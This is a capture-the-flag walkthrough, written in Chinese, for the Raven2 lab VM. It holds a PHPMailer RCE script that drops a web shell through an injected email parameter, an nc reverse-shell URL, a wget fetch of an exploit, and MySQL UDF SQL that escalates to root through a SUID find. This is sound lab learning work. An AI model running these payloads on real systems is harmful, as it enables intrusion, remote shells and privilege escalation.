Raven2....
nmap如下:
# Nmap 7.40 scan initiated Sun Jan 20 22:19:34 2019 as: nmap -p- -A -sV -oN 1.xml 192.168.110.142
Nmap scan report for 192.168.110.142
Host is up (0.0013s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
| 2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|_ 256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 40180/udp status
|_ 100024 1 44348/tcp status
44348/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:3F:B3:23 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.31 ms 192.168.110.142
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 20 22:20:08 2019 -- 1 IP address (1 host up) scanned in 35.12 seconds
wpscan的结果如下:
http://192.168.110.142/wordpress/wp-content/uploads/ #这里发现flag3.png...
http://192.168.110.142/wordpress/wp-includes/#一些主题文件来着....php打不开
dirb没发现啥玩意....
从经验来看主机漏洞没啥玩意可以入手的,那就只能从web入手了,wpscan发现两个用户名michael以及steven,爆破了一波啥都没弱密.....
来到这一波思路枯竭了,只能看看walkthrough解解馋.....
结果发现别人和我一样,但是dirb有几个扫出来的目录,例如/manual对应apache文档,/vendor对应所谓的图片目录下发现新线索,如下:
其中在PATH中发现flag1.....这件事告诉我一定要好好检查每一个目录,不能觉得太常见就不管了......
然后外面有一个version以及许多phpmailer的php文件,告诉我们版本是5.2.16,相当于多一个中间件版本信息,直接上searchsploit,找到是属于远程代码执行的版本来着,那就直接metasploit了.
但是这个所谓的模块一直没起来.....不知道为啥...
后来看了walkthrough的大佬写的bash脚本,直接自己利用了,感觉这个我得学一波js,php代码审计,bash脚本,我曹还好多不会啊.....
大佬的脚本如下:
#!/bin/bash
TARGET=http://raven.local/contact.php
DOCROOT=/var/www/html
FILENAME=backdoor.php
LOCATION=$DOCROOT/$FILENAME
STATUS=$(curl -s \
--data-urlencode "name=Hackerman" \
--data-urlencode "email=\"hackerman\\\" -oQ/tmp -X$LOCATION blah\"@badguy.com" \
--data-urlencode "message=" \
--data-urlencode "action=submit" \
$TARGET | sed -r '146!d')
if grep 'instantiate' &>/dev/null <<<"$STATUS"; then
echo "[+] Check ${LOCATION}?cmd=[shell command, e.g. id]"
else
echo "[!] Exploit failed"
fi
稍后查一波把...然后要运行记得要先修改权限....
然后运行以后直接http://192.168.110.140/backdoor.php?cmd=....我用了nc反弹
http://192.168.110.142/backdoor.php?cmd=nc%20-e%20/bin/sh%20192.168.110.1%201234
然后直接cat wp-config.php一波.
尝试一波ssh登录未成功,uname -a 是3.16属于可以dirty cow的队列....
然后find一波
发现flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}
然后就只剩flag4了,应该是要直接上ROOT权限才行了.想尝试一波但是没有执行权限...也没发现什么suid提权的可能性.
这里由于前面获取了mysql的账号密码,以及经过测试有写的权限(wget可以执行),5.1版本以下的可以直接在system32目录下导出udf.dll,5.1以上的直接在/lib/plugin目录下导出就行.
整理一下UDF提权条件:导出目录要知道,其次是写权限,接着要数据库账号密码,要有相应的权限.
walkthrough上都是先去exploit-db上找相应的UDF DLL exploit来编译利用的,
searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
然后直接放到靶机上下载利用
wget http://192.168.110.128/
chmod 777 1518.so
接着登录数据库进行操作
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
然后回来getroot了
touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
cd /root
ls
cat flag4.txt
总结一下:
这次四个falg,2个是直接目录爆破出来的,直接使用查看目录就可以获取了..
接着一个是利用phpmialer rce出来的,最后是使用mysql UDF出来的,